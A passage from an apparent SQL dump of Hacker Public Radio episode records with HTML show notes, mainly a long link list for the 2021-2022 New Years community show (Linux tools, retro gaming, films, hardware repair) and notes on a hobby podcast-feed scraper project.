class=\"uri\">https://claudiomiranda.wordpress.com/2021/12/31/hello-from-the-end-of-2021/</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3667,'2022-08-23','2021-2022 New Years Show Part 2',11268,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-2\">Part 2</h3>\n<p>Massachusetts MCAS Tests</p>\n<p><a href=\"https://www.doe.mass.edu/mcas/\" class=\"uri\">https://www.doe.mass.edu/mcas/</a></p>\n<p>A Level Test mention -</p>\n<p><a href=\"http://www.gostudyuk.com/a-levels-and-equivalents/\" class=\"uri\">http://www.gostudyuk.com/a-levels-and-equivalents/</a></p>\n<p>COVID-19: quarantine, masks, vaccination, testing, etc.</p>\n<p>Michael Mina <span class=\"citation\" data-cites=\"michaelmina_lab\">@michaelmina_lab</span></p>\n<p><a href=\"https://twitter.com/michaelmina_lab\" class=\"uri\">https://twitter.com/michaelmina_lab</a></p>\n<p>West Virginia &amp; Kentucky Accents</p>\n<p><a href=\"https://www.dialectsarchive.com/west-virginia\" class=\"uri\">https://www.dialectsarchive.com/west-virginia</a></p>\n<p><a href=\"https://www.dialectsarchive.com/kentucky\" class=\"uri\">https://www.dialectsarchive.com/kentucky</a></p>\n<p>Netminer talks about being a security guard &amp; Security Guard tools of the trade</p>\n<p>Detex Clock</p>\n<p><a href=\"https://www.watchmanclocks.com/productdetails.aspx?ProductID=56\" class=\"uri\">https://www.watchmanclocks.com/productdetails.aspx?ProductID=56</a></p>\n<p>Mag light flashlight</p>\n<p><a href=\"https://maglite.com/\" class=\"uri\">https://maglite.com/</a></p>\n<p>Ohio Linux Fest</p>\n<p><a href=\"https://olfconference.org/\" class=\"uri\">https://olfconference.org/</a></p>\n<p>Not Curses</p>\n<p><a href=\"https://notcurses.com/notcurses.3.html\" class=\"uri\">https://notcurses.com/notcurses.3.html</a></p>\n<p>Sixel</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Sixel\" class=\"uri\">https://en.wikipedia.org/wiki/Sixel</a></p>\n<p>The Book Of Boba Fett</p>\n<p><a href=\"https://www.imdb.com/title/tt13668894/\" class=\"uri\">https://www.imdb.com/title/tt13668894/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett\" class=\"uri\">https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett</a></p>\n<p>Under The Helmet : The Legacy of Boba Fett</p>\n<p><a href=\"https://www.imdb.com/title/tt15715890/\" class=\"uri\">https://www.imdb.com/title/tt15715890/</a></p>\n<p>Mordancy talks about Mark from Command Line Magic</p>\n<p>Command Line Magic Homepage - <a href=\"http://www.climagic.org/\" class=\"uri\">http://www.climagic.org/</a></p>\n<p>Command Line Magic Youtube - <a href=\"https://www.youtube.com/user/climagic/videos\" class=\"uri\">https://www.youtube.com/user/climagic/videos</a></p>\n<p>Command Line Magic Twitter - <a href=\"https://twitter.com/climagic\" class=\"uri\">https://twitter.com/climagic</a></p>\n<p>Command Line Magic Mastadon - <a href=\"https://mastodon.social/@climagic\" class=\"uri\">https://mastodon.social/@climagic</a></p>\n<p>Mordancy also suggests</p>\n<p><a href=\"https://www.commandlinefu.com/commands/browse\" class=\"uri\">https://www.commandlinefu.com/commands/browse</a></p>\n<p><a href=\"https://explainshell.com/\" class=\"uri\">https://explainshell.com/</a></p>\n<p>More Website Suggestions</p>\n<p>Regex Crossword is a crossword puzzle game, where the crossword clues are defined using regular expressions</p>\n<p><a href=\"https://regexcrossword.com\" class=\"uri\">https://regexcrossword.com</a></p>\n<p>Learn VIM while playing a game</p>\n<p><a href=\"https://vim-adventures.com/\" class=\"uri\">https://vim-adventures.com/</a></p>\n<p>Tennesee Valley Authority</p>\n<p><a href=\"https://www.tva.com/\" class=\"uri\">https://www.tva.com/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Tennessee_Valley_Authority\" class=\"uri\">https://en.wikipedia.org/wiki/Tennessee_Valley_Authority</a></p>\n<p>West Virginia Coal Mines</p>\n<p><a href=\"https://www.americangeosciences.org/critical-issues/maps/interactive-map-coal-mines-west-virginia\" class=\"uri\">https://www.americangeosciences.org/critical-issues/maps/interactive-map-coal-mines-west-virginia</a></p>\n<p>Nuclear Power Plants in the USA</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Nuclear_power_in_the_United_States\" class=\"uri\">https://en.wikipedia.org/wiki/Nuclear_power_in_the_United_States</a></p>\n<p><a href=\"https://www.eia.gov/tools/faqs/faq.php?id=207&amp;t=3\" class=\"uri\">https://www.eia.gov/tools/faqs/faq.php?id=207&amp;t=3</a></p>\n<p>Moss Wants to Build a Pi Hole</p>\n<p><a href=\"https://pi-hole.net/\" class=\"uri\">https://pi-hole.net/</a></p>\n<p>Take The Long Way Home (SuperTramp)</p>\n<p><a href=\"https://youtu.be/zKGOCOAI_2c\" class=\"uri\">https://youtu.be/zKGOCOAI_2c</a></p>\n<p>Push To Talk Mumble Settings</p>\n<p><a href=\"https://www.mumble.com/support/mumble-server-push-to-talk.php\" class=\"uri\">https://www.mumble.com/support/mumble-server-push-to-talk.php</a></p>\n<p>Dont use Balena Etcher, try instead <a href=\"https://bztsrc.gitlab.io/usbimager/\" class=\"uri\">https://bztsrc.gitlab.io/usbimager/</a> USBImager is a really really simple GUI application that writes compressed disk images to USB drives and creates backups. Available platforms: Windows, MacOS and Linux. Its interface is as simple as it gets, totally bloat-free. It is very small below 300 KB compared to more the than 130 MB of Etcher.</p>\n<p>A Maintenance Tool For Ubuntu</p>\n<p>uCareSystem Core basic</p>\n<p><a href=\"https://ostechnix.com/ucaresystem-core-basic-maintenance-tool-ubuntu/\" class=\"uri\">https://ostechnix.com/ucaresystem-core-basic-maintenance-tool-ubuntu/</a></p>\n<p><a href=\"https://github.com/Utappia/uCareSystem\" class=\"uri\">https://github.com/Utappia/uCareSystem</a></p>\n<p>To get rid of old kernels with no work - just paste in the commandline</p>\n<pre><code>echo $(dpkg --list | grep linux-image | awk &#39;{ print $2 }&#39; | sort -V | sed -n &#39;/&#39;`uname -r`&#39;/q;p&#39;) $(dpkg --list | grep linux-headers | awk &#39;{ print $2 }&#39; | sort -V | sed -n &#39;/&#39;&quot;$(uname -r | sed &quot;s/\\([0-9.-]*\\)-\\([^0-9]\\+\\)/\\1/&quot;)&quot;&#39;/q;p&#39;) | xargs echo sudo apt-get -y purge\n</code></pre>\n<p>the result is a sudo command to remove old kernels. And finally this one:</p>\n<pre><code>sudo apt autoremove &amp;&amp; sudo apt autoclean &amp;&amp; sudo apt clean</code></pre>\n<p>Moss talks about ArcoLinux</p>\n<p><a href=\"https://arcolinux.com/\" class=\"uri\">https://arcolinux.com/</a></p>\n<p>Minnix uses Funk Whale</p>\n<p><a href=\"https://funkwhale.audio/\" class=\"uri\">https://funkwhale.audio/</a></p>\n<p>Moss announces the passing of Betty White - RIP</p>\n<p><a href=\"https://www.cnn.com/2022/01/10/entertainment/betty-white-cause-of-death/index.html\" class=\"uri\">https://www.cnn.com/2022/01/10/entertainment/betty-white-cause-of-death/index.html</a></p>\n<p><a href=\"https://www.rollingstone.com/tv-movies/tv-movie-news/betty-white-dead-obituary-197806/\" class=\"uri\">https://www.rollingstone.com/tv-movies/tv-movie-news/betty-white-dead-obituary-197806/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Golden_Girls\" class=\"uri\">https://en.wikipedia.org/wiki/The_Golden_Girls</a></p>\n<p><a href=\"https://www.grunge.com/659496/the-truth-about-betty-whites-guinness-world-record/\" class=\"uri\">https://www.grunge.com/659496/the-truth-about-betty-whites-guinness-world-record/</a></p>\n<p>The guys mention - Ultramarines : A Warhammer 40k movie</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ultramarines:_A_Warhammer_40,000_Movie\" class=\"uri\">https://en.wikipedia.org/wiki/Ultramarines:_A_Warhammer_40,000_Movie</a></p>\n<p><a href=\"https://youtu.be/3fpvOyD5Jr0\" class=\"uri\">https://youtu.be/3fpvOyD5Jr0</a></p>\n<p>Warhammer Cosplay</p>\n<p><a href=\"https://youtu.be/9RpfpSyWGhk\" class=\"uri\">https://youtu.be/9RpfpSyWGhk</a></p>\n<p><a href=\"https://youtu.be/VZ8_aU0G094\" class=\"uri\">https://youtu.be/VZ8_aU0G094</a></p>\n<p><a href=\"https://www.belloflostsouls.net/2020/08/40k-cosplay-the-ultramarine-by-upw-designs.html\" class=\"uri\">https://www.belloflostsouls.net/2020/08/40k-cosplay-the-ultramarine-by-upw-designs.html</a></p>\n<p><a href=\"https://www.instructables.com/Warhammer-40K-Tech-Priest-Cosplay-SKS-Props/\" class=\"uri\">https://www.instructables.com/Warhammer-40K-Tech-Priest-Cosplay-SKS-Props/</a></p>\n<p>Matrix Movie (Matrix Resurrections) + other NPH (Neil Patrick Harris) films</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Matrix_Resurrections\" class=\"uri\">https://en.wikipedia.org/wiki/The_Matrix_Resurrections</a></p>\n<p><a href=\"https://www.imdb.com/title/tt10838180/\" class=\"uri\">https://www.imdb.com/title/tt10838180/</a></p>\n<p>8-Bit Christmas</p>\n<p><a href=\"https://www.imdb.com/title/tt11540284/\" class=\"uri\">https://www.imdb.com/title/tt11540284/</a></p>\n<p>Doctor Horrible\'s Sing-Along</p>\n<p><a href=\"https://www.imdb.com/title/tt1227926/\" class=\"uri\">https://www.imdb.com/title/tt1227926/</a></p>\n<p>Bruce Campbell in Black Friday + other Bruce projects</p>\n<p><a href=\"https://www.imdb.com/title/tt11649338/\" class=\"uri\">https://www.imdb.com/title/tt11649338/</a></p>\n<p>Deadite (Evil Dead films)</p>\n<p><a href=\"https://evildead.fandom.com/wiki/Deadite\" class=\"uri\">https://evildead.fandom.com/wiki/Deadite</a></p>\n<p>Burn Notice</p>\n<p><a href=\"https://www.imdb.com/title/tt0810788/\" class=\"uri\">https://www.imdb.com/title/tt0810788/</a></p>\n<p>The Adventures of Brisco County Jr.</p>\n<p><a href=\"https://www.imdb.com/title/tt0105932/\" class=\"uri\">https://www.imdb.com/title/tt0105932/</a></p>\n<p>Burn Notice Movie - The Fall of Sam Axe</p>\n<p><a href=\"https://www.imdb.com/title/tt1697851/\" class=\"uri\">https://www.imdb.com/title/tt1697851/</a></p>\n<p>Ash Vs Evil Dead (TV Series)</p>\n<p><a href=\"https://www.imdb.com/title/tt4189022/\" class=\"uri\">https://www.imdb.com/title/tt4189022/</a></p>\n<p><a href=\"https://evildead.fandom.com/wiki/Ash_vs_Evil_Dead\" class=\"uri\">https://evildead.fandom.com/wiki/Ash_vs_Evil_Dead</a></p>\n<p>Christian Clemenson</p>\n<p><a href=\"https://www.imdb.com/name/nm0166061/\" class=\"uri\">https://www.imdb.com/name/nm0166061/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Christian_Clemenson\" class=\"uri\">https://en.wikipedia.org/wiki/Christian_Clemenson</a></p>\n<p>Freddie Highmore</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Good_Doctor_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Good_Doctor_(TV_series)</a></p>\n<p><a href=\"https://www.imdb.com/title/tt6470478/\" class=\"uri\">https://www.imdb.com/title/tt6470478/</a></p>\n<p>Chat about Lenovo ThinkCentre Products</p>\n<p><a href=\"https://pcsupport.lenovo.com/us/en/products/desktops-and-all-in-ones/thinkcentre-m-series-desktops/thinkcentre-m58\" class=\"uri\">https://pcsupport.lenovo.com/us/en/products/desktops-and-all-in-ones/thinkcentre-m-series-desktops/thinkcentre-m58</a></p>\n<p><a href=\"https://www.lenovo.com/in/en/desktops/thinkcentre/m-series-sff/m83/\" class=\"uri\">https://www.lenovo.com/in/en/desktops/thinkcentre/m-series-sff/m83/</a></p>\n<p><a href=\"https://www.lenovo.com/gb/en/desktops-and-all-in-ones/thinkcentre/m-series-tiny/M700-Tiny/p/11TC1MTM700\" class=\"uri\">https://www.lenovo.com/gb/en/desktops-and-all-in-ones/thinkcentre/m-series-tiny/M700-Tiny/p/11TC1MTM700</a></p>\n<p>Moss Plugs - <a href=\"https://itsmoss.com/\" class=\"uri\">https://itsmoss.com/</a> and talks about installing Linux on his ThinkCentre</p>\n<p><a href=\"https://itsmoss.com/2021/12/22/installing-linux-on-a-thinkcentre-tiny-m700/\" class=\"uri\">https://itsmoss.com/2021/12/22/installing-linux-on-a-thinkcentre-tiny-m700/</a></p>\n<p>A Deeper Dive Into Funk Whale</p>\n<p><a href=\"https://funkwhale.audio/\" class=\"uri\">https://funkwhale.audio/</a></p>\n<p><a href=\"https://funkwhale.audio/en_GB/faqs#decentralized-and-federated\" class=\"uri\">https://funkwhale.audio/en_GB/faqs#decentralized-and-federated</a></p>\n<p><a href=\"https://wiki.archlinux.org/title/Funkwhale\" class=\"uri\">https://wiki.archlinux.org/title/Funkwhale</a></p>\n<p><a href=\"https://twitter.com/funkwhaleaudio\" class=\"uri\">https://twitter.com/funkwhaleaudio</a></p>\n<p>Peer Tube - Free software to take back control of your videos</p>\n<p><a href=\"https://joinpeertube.org/\" class=\"uri\">https://joinpeertube.org/</a></p>\n<p><a href=\"https://twitter.com/joinpeertube\" class=\"uri\">https://twitter.com/joinpeertube</a></p>\n<p>Joe and Danny talk 3-D Printing &amp; Core XY Printers</p>\n<p>Voron Design</p>\n<p><a href=\"https://vorondesign.com/\" class=\"uri\">https://vorondesign.com/</a></p>\n<p>The Best CoreXY 3D Printers in 2022</p>\n<p><a href=\"https://all3dp.com/1/best-corexy-3d-printer/\" class=\"uri\">https://all3dp.com/1/best-corexy-3d-printer/</a></p>\n<p>The Voron 2.4 Build Experience</p>\n<p><a href=\"https://youtu.be/0E0dM0ZdpRE\" class=\"uri\">https://youtu.be/0E0dM0ZdpRE</a></p>\n<p>Core XY Explained</p>\n<p><a href=\"https://youtu.be/_ramiM3KHYE\" class=\"uri\">https://youtu.be/_ramiM3KHYE</a></p>\n<p>Volcano Hot End &amp; Block</p>\n<p><a href=\"https://e3d-online.com/products/volcano-hotend\" class=\"uri\">https://e3d-online.com/products/volcano-hotend</a></p>\n<p><a href=\"https://e3d-online.com/products/volcano-block-for-sensor-cartridges\" class=\"uri\">https://e3d-online.com/products/volcano-block-for-sensor-cartridges</a></p>\n<p>CES 2022</p>\n<p><a href=\"https://www.ces.tech/About-CES.aspx\" class=\"uri\">https://www.ces.tech/About-CES.aspx</a></p>\n<p>Danny gives a thumbs up to the Android Playstation 2 Emulator - Aethersx2</p>\n<p><a href=\"https://play.google.com/store/apps/details?id=xyz.aethersx2.android\" class=\"uri\">https://play.google.com/store/apps/details?id=xyz.aethersx2.android</a></p>\n<p>X-Files : Resist Or Serve for the Playstation 2</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_X-Files:_Resist_or_Serve\" class=\"uri\">https://en.wikipedia.org/wiki/The_X-Files:_Resist_or_Serve</a></p>\n<p>Walkthrough for X-Files : Resist Or Serve</p>\n<p><a href=\"https://youtu.be/_1DoMfufliQ\" class=\"uri\">https://youtu.be/_1DoMfufliQ</a></p>\n<p>PCSX2 - An Open-Source Playstation 2 Emulator supporting over 98% Of the PS2 library</p>\n<p><a href=\"https://pcsx2.net/\" class=\"uri\">https://pcsx2.net/</a></p>\n<p>GTA Vice City</p>\n<p><a href=\"https://www.rockstargames.com/games/vicecity\" class=\"uri\">https://www.rockstargames.com/games/vicecity</a></p>\n<p>Armored Core : Masters Of Arena</p>\n<p><a href=\"https://armoredcore.fandom.com/wiki/Armored_Core:_Master_of_Arena\" class=\"uri\">https://armoredcore.fandom.com/wiki/Armored_Core:_Master_of_Arena</a></p>\n<p><a href=\"http://www.cheatcodes.com/guide/walkthrough-armored-core-master-of-arena-playstation-16686/\" class=\"uri\">http://www.cheatcodes.com/guide/walkthrough-armored-core-master-of-arena-playstation-16686/</a></p>\n<p>Joe Has Some Tech Repairs to Do</p>\n<p>Playstation 3 that needs the optical drive repaired</p>\n<p><a href=\"https://www.ifixit.com/Guide/PlayStation+3+Blu-ray+Disc+Drive+Replacement/3484\" class=\"uri\">https://www.ifixit.com/Guide/PlayStation+3+Blu-ray+Disc+Drive+Replacement/3484</a></p>\n<p>Xbox 360 Drive replacement</p>\n<p><a href=\"https://www.ifixit.com/Guide/Xbox+360+Optical+Drive+Replacement/3358\" class=\"uri\">https://www.ifixit.com/Guide/Xbox+360+Optical+Drive+Replacement/3358</a></p>\n<p>Skullcandy HESH 3 Battery Replacement</p>\n<p><a href=\"https://youtu.be/PLM7wfTCzms\" class=\"uri\">https://youtu.be/PLM7wfTCzms</a> (generic headphone battery replacement video)</p>\n<p>LG Tone Repair</p>\n<p><a href=\"https://youtu.be/DJvzWsT_ESY\" class=\"uri\">https://youtu.be/DJvzWsT_ESY</a></p>\n<p>Open Razer</p>\n<p><a href=\"https://openrazer.github.io/\" class=\"uri\">https://openrazer.github.io/</a></p>\n<p>Clonezilla has built in SSH support</p>\n<p><a href=\"https://clonezilla.org/\" class=\"uri\">https://clonezilla.org/</a></p>\n<p>Radio Shack reviving, rebranding into cryptocurrency platform</p>\n<p><a href=\"https://www.foxbusiness.com/markets/radioshack-rebrands-cryptocurrency-exchange-platform\" class=\"uri\">https://www.foxbusiness.com/markets/radioshack-rebrands-cryptocurrency-exchange-platform</a></p>\n<p><a href=\"https://www.nbcnews.com/pop-culture/pop-culture-news/radioshack-clarify-twitter-wasnt-hacked-just-sell-crypto-now-rcna36112\" class=\"uri\">https://www.nbcnews.com/pop-culture/pop-culture-news/radioshack-clarify-twitter-wasnt-hacked-just-sell-crypto-now-rcna36112</a></p>\n<p>Deal Extreme</p>\n<p><a href=\"https://www.dx.com/\" class=\"uri\">https://www.dx.com/</a></p>\n<p>Brick &amp; Mortar Computer Stores Past &amp; Present</p>\n<p>COMP USA</p>\n<p><a href=\"https://www.compusa.com/\" class=\"uri\">https://www.compusa.com/</a></p>\n<p>Fry\'s Electronics</p>\n<p><a href=\"https://www.frys.com/\" class=\"uri\">https://www.frys.com/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Fry%27s_Electronics\" class=\"uri\">https://en.wikipedia.org/wiki/Fry%27s_Electronics</a></p>\n<p>Micro Center</p>\n<p><a href=\"https://www.microcenter.com/\" class=\"uri\">https://www.microcenter.com/</a></p>\n<p>Tiger Direct</p>\n<p><a href=\"https://www.tigerdirect.com/\" class=\"uri\">https://www.tigerdirect.com/</a></p>\n<p>Ben Heck &amp; Oscilloscopes</p>\n<p><a href=\"https://youtu.be/RuC8XmDX9iA\" class=\"uri\">https://youtu.be/RuC8XmDX9iA</a></p>\n<p>Mordancy has projects</p>\n<p><a href=\"https://www.proxmox.com/en/\" class=\"uri\">https://www.proxmox.com/en/</a></p>\n<p><a href=\"https://www.docker.com/\" class=\"uri\">https://www.docker.com/</a></p>\n<p><a href=\"https://jitsi.org/\" class=\"uri\">https://jitsi.org/</a></p>\n<p><a href=\"https://joinpeertube.org/\" class=\"uri\">https://joinpeertube.org/</a></p>\n<p><a href=\"https://matrix.org/\" class=\"uri\">https://matrix.org/</a></p>\n<p><a href=\"https://bitbucket.org/product\" class=\"uri\">https://bitbucket.org/product</a></p>\n<p>F(x)tec Pro&#xB9; Phone</p>\n<p><a href=\"https://www.fxtec.com/\" class=\"uri\">https://www.fxtec.com/</a></p>\n<p>Joe and Mordancy chat Cryptocurrency</p>\n<p><a href=\"https://www.investopedia.com/terms/c/cryptocurrency.asp\" class=\"uri\">https://www.investopedia.com/terms/c/cryptocurrency.asp</a></p>\n<p>Nishant gives up Windows for Fedora</p>\n<p><a href=\"https://getfedora.org/en/workstation/download/\" class=\"uri\">https://getfedora.org/en/workstation/download/</a></p>\n<p>Linux LPIC Certifications</p>\n<p><a href=\"https://www.lpi.org/our-certifications/summary-of-certifications\" class=\"uri\">https://www.lpi.org/our-certifications/summary-of-certifications</a></p>\n<p><a href=\"https://www.lpi.org/our-certifications/lpic-1-overview\" class=\"uri\">https://www.lpi.org/our-certifications/lpic-1-overview</a></p>\n<p><a href=\"https://www.lpi.org/our-certifications/lpic-2-overview\" class=\"uri\">https://www.lpi.org/our-certifications/lpic-2-overview</a></p>\n<p>ITIL Certification</p>\n<p><a href=\"https://www.axelos.com/certifications/itil-service-management\" class=\"uri\">https://www.axelos.com/certifications/itil-service-management</a></p>\n<p>3M PELTOR ComTac&#x2122; VI Hearing Defender</p>\n<p><a href=\"https://www.3m.com/3M/en_US/p/d/v100849027/\" class=\"uri\">https://www.3m.com/3M/en_US/p/d/v100849027/</a></p>\n<p>TP-120 Socket</p>\n<p><a href=\"https://connectors.nexus.com/item/telephone-plugs-and-jacks/telephone-plugs/tp-120\" class=\"uri\">https://connectors.nexus.com/item/telephone-plugs-and-jacks/telephone-plugs/tp-120</a></p>\n<p>Fluke 107 Pocket Digital Multimeter</p>\n<p><a href=\"https://www.fluke.com/en-us/product/electrical-testing/digital-multimeters/pocket-107\" class=\"uri\">https://www.fluke.com/en-us/product/electrical-testing/digital-multimeters/pocket-107</a></p>\n<p>Razer Nari Ultimate Headset</p>\n<p><a href=\"https://www.razer.com/gaming-headsets/razer-nari-ultimate/RZ04-02670100-R3U1\" class=\"uri\">https://www.razer.com/gaming-headsets/razer-nari-ultimate/RZ04-02670100-R3U1</a></p>\n<p>Garuda Linux</p>\n<p><a href=\"https://garudalinux.org/\" class=\"uri\">https://garudalinux.org/</a></p>\n<p>Centos</p>\n<p><a href=\"https://www.centos.org/\" class=\"uri\">https://www.centos.org/</a></p>\n<p>FreeBSD</p>\n<p><a href=\"https://www.freebsd.org/\" class=\"uri\">https://www.freebsd.org/</a></p>\n<p>Q-tile - A full-featured, hackable tiling window manager written and configured in Python</p>\n<p><a href=\"http://www.qtile.org/\" class=\"uri\">http://www.qtile.org/</a></p>\n<p>Adam WIlliamson - Fedora Team</p>\n<p><a href=\"https://fedoraproject.org/wiki/User:Adamwill\" class=\"uri\">https://fedoraproject.org/wiki/User:Adamwill</a></p>\n<p><a href=\"https://www.happyassassin.net/\" class=\"uri\">https://www.happyassassin.net/</a></p>\n<p><a href=\"https://twitter.com/adamw_ha\" class=\"uri\">https://twitter.com/adamw_ha</a></p>\n<p><a href=\"https://fedoramagazine.org/fedora-qa-adam-williamson/\" class=\"uri\">https://fedoramagazine.org/fedora-qa-adam-williamson/</a></p>\n<p>Raspberry Pi Price Jump</p>\n<p><a href=\"https://www.tomshardware.com/news/raspberry-pi-4-supply-issues\" class=\"uri\">https://www.tomshardware.com/news/raspberry-pi-4-supply-issues</a></p>\n<p>Headphone Repair Chat</p>\n<p>BeyerDynamic DT770</p>\n<p><a href=\"https://www.sweetwater.com/store/detail/DT770pro80--beyerdynamic-dt-770-pro-80-ohm-closed-back-studio-mixing-headphones\" class=\"uri\">https://www.sweetwater.com/store/detail/DT770pro80--beyerdynamic-dt-770-pro-80-ohm-closed-back-studio-mixing-headphones</a></p>\n<p>Audio Technica ATH-M50X</p>\n<p><a href=\"https://www.audio-technica.com/en-us/ath-m50x\" class=\"uri\">https://www.audio-technica.com/en-us/ath-m50x</a></p>\n<p>HP Thin Client Model T6xx (watch for them on Ebay)</p>\n<p><a href=\"https://support.hp.com/us-en/document/c06433828\" class=\"uri\">https://support.hp.com/us-en/document/c06433828</a></p>\n<p>Firefox Phone</p>\n<p><a href=\"https://firefoxosdevices.org/en/#type:smartphones\" class=\"uri\">https://firefoxosdevices.org/en/#type:smartphones</a>|coming-devices:yes</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Firefox_OS\" class=\"uri\">https://en.wikipedia.org/wiki/Firefox_OS</a></p>\n<p>Love 2D Gaming Engine</p>\n<p><a href=\"https://love2d.org/\" class=\"uri\">https://love2d.org/</a></p>\n<p>Roblox</p>\n<p><a href=\"https://www.roblox.com/\" class=\"uri\">https://www.roblox.com/</a></p>\n<p>Minecraft</p>\n<p><a href=\"https://www.minecraft.net/en-us\" class=\"uri\">https://www.minecraft.net/en-us</a></p>\n<p>Alpine Linux</p>\n<p><a href=\"https://www.alpinelinux.org/\" class=\"uri\">https://www.alpinelinux.org/</a></p>\n<p>Rick &amp; Morty</p>\n<p><a href=\"https://rickandmorty.fandom.com/wiki/Rick_and_Morty_(TV_series)\" class=\"uri\">https://rickandmorty.fandom.com/wiki/Rick_and_Morty_(TV_series)</a></p>\n<p>Gravity Falls</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Gravity_Falls\" class=\"uri\">https://en.wikipedia.org/wiki/Gravity_Falls</a></p>\n<p>Final Space</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Final_Space\" class=\"uri\">https://en.wikipedia.org/wiki/Final_Space</a></p>\n<p>Peter Cushing Dr. Who movies</p>\n<p><a href=\"https://tardis.fandom.com/wiki/Peter_Cushing\" class=\"uri\">https://tardis.fandom.com/wiki/Peter_Cushing</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Dr._Who_and_the_Daleks\" class=\"uri\">https://en.wikipedia.org/wiki/Dr._Who_and_the_Daleks</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Daleks%27_Invasion_Earth_2150_A.D\" class=\"uri\">https://en.wikipedia.org/wiki/Daleks%27_Invasion_Earth_2150_A.D</a>.</p>\n<p>Blake\'s 7</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Blake%27s_7\" class=\"uri\">https://en.wikipedia.org/wiki/Blake%27s_7</a></p>\n<p>Gorillaz - Clint Eastwood</p>\n<p><a href=\"https://youtu.be/1V_xRb0x9aw\" class=\"uri\">https://youtu.be/1V_xRb0x9aw</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3656,'2022-08-08','Importance of Small toy projects',1149,'Toy projects are a great way to learn a new language, and a project I did just for fun.','<h2 id=\"importance-of-small-toy-projects\">Importance of Small toy projects</h2>\n<p>Inspired by</p>\n<ul>\n<li><a href=\"https://talkpython.fm/episodes/transcript/327/little-automation-tools-in-python\" class=\"uri\">https://talkpython.fm/episodes/transcript/327/little-automation-tools-in-python</a>\n<ul>\n<li>Automating little things</li>\n</ul></li>\n<li>hpr3558 :: How I\'m learning Haskell\n<ul>\n<li>The Host talks about learning Haskell and says something like</li>\n<li>Finishing a small project is better than Starting a big project and not completing it.</li>\n<li>And You can not learn to code by reading, you need practice</li>\n</ul></li>\n</ul>\n<h3 id=\"my-recommendation-for-learning-a-new-language.\">My recommendation for learning a new language.</h3>\n<ol type=\"1\">\n<li>Think about a small problem you want to solve with code.</li>\n<li>Start banging away at it.</li>\n<li>Redo over and over, its OK</li>\n<li>Same project but better</li>\n<li>Learn new tech and practice</li>\n</ol>\n<h3 id=\"an-example-of-one-of-my-small-projects\">An example of one of my small projects</h3>\n<ul>\n<li>Original intent of my podfaded project\n<ul>\n<li>Mostly Tech/Linux podcasts</li>\n<li>Find every podcast I could</li>\n<li>Track release cadence</li>\n<li>Rate how podfaded the feed is</li>\n<li>Use search API to find RSS feeds</li>\n</ul></li>\n</ul>\n<h3 id=\"first-attempt-plan\">First attempt plan</h3>\n<ul>\n<li>Scrape podcast networks\n<ul>\n<li>used beautiful soup - something I wanted to learn anyway</li>\n<li>HTML\n<ul>\n<li>Jinja templating - something I wanted to learn anyway</li>\n<li>Bootstrap - something I wanted to learn anyway</li>\n<li>Different colors based on how podfaded</li>\n</ul></li>\n</ul></li>\n</ul>\n<h3 id=\"first-attempt-problems\">First attempt problems</h3>\n<ul>\n<li>individual script per network</li>\n<li>4-5 different scripts</li>\n<li>took forever to run</li>\n<li>Broke when networks changed their page layout</li>\n</ul>\n<h3 id=\"redo\">Redo</h3>\n<ul>\n<li>Test Driven Development and pytest\n<ul>\n<li>Red Green Refactor</li>\n<li>Confidence to change code</li>\n</ul></li>\n<li>Simplify - one scrapper script</li>\n<li>Embed audio player for latest episode</li>\n</ul>\n<h3 id=\"how-it-works---scraping-pages-for-feeds\">How it works - Scraping pages for feeds</h3>\n<ul>\n<li><code>scrape_for_feeds.py</code></li>\n<li>Provide a list of websites that have lists of podcasts</li>\n<li>Search the page for any links</li>\n<li>Check if the feed is valid by trying to parse it with <code>feedparser</code></li>\n<li>Add feed to database</li>\n</ul>\n<h3 id=\"podcasts-pages-i-scrape\">Podcasts pages I scrape</h3>\n<ul>\n<li><a href=\"https://wiki.ubuntu.com/Podcasts\" class=\"uri\">https://wiki.ubuntu.com/Podcasts</a></li>\n<li><a href=\"http://www.thelinuxlink.net\" class=\"uri\">http://www.thelinuxlink.net</a></li>\n<li><a href=\"http://freeculturepodcasts.org\" class=\"uri\">http://freeculturepodcasts.org</a></li>\n</ul>\n<h3 id=\"how-it-works---checking-the-feeds\">How it works - Checking the feeds</h3>\n<ul>\n<li><code>feed_info.py</code></li>\n<li>loop through feeds</li>\n<li>use <code>feedparser</code> to find latest episode\n<ul>\n<li>title and enclosure (audio file)</li>\n</ul></li>\n</ul>\n<h3 id=\"html-output\">HTML Output</h3>\n<ul>\n<li><a href=\"https://podfaded.norrist.xyz/\" class=\"uri\">https://podfaded.norrist.xyz/</a></li>\n<li>Currently hosted on a Free Tier VPS</li>\n<li>No Promises it will be there forever</li>\n</ul>\n<h3 id=\"feedback-welcome\">Feedback Welcome</h3>\n<ul>\n<li><a href=\"https://gitlab.com/norrist/podfaded2\" class=\"uri\">https://gitlab.com/norrist/podfaded2</a></li>\n<li>Bugs\n<ul>\n<li>Sometimes the title is missing, so some of the CSS coloring doesn\'t work</li>\n<li>Excluded podcasts still occasionally show up on the list</li>\n</ul></li>\n<li>Looking for more curated lists of podcast pages\n<ul>\n<li>not search sites</li>\n</ul></li>\n<li>Maybe scrape HPR podcast recommendation episodes</li>\n</ul>\n<p><em>Example</em><br />\n<img 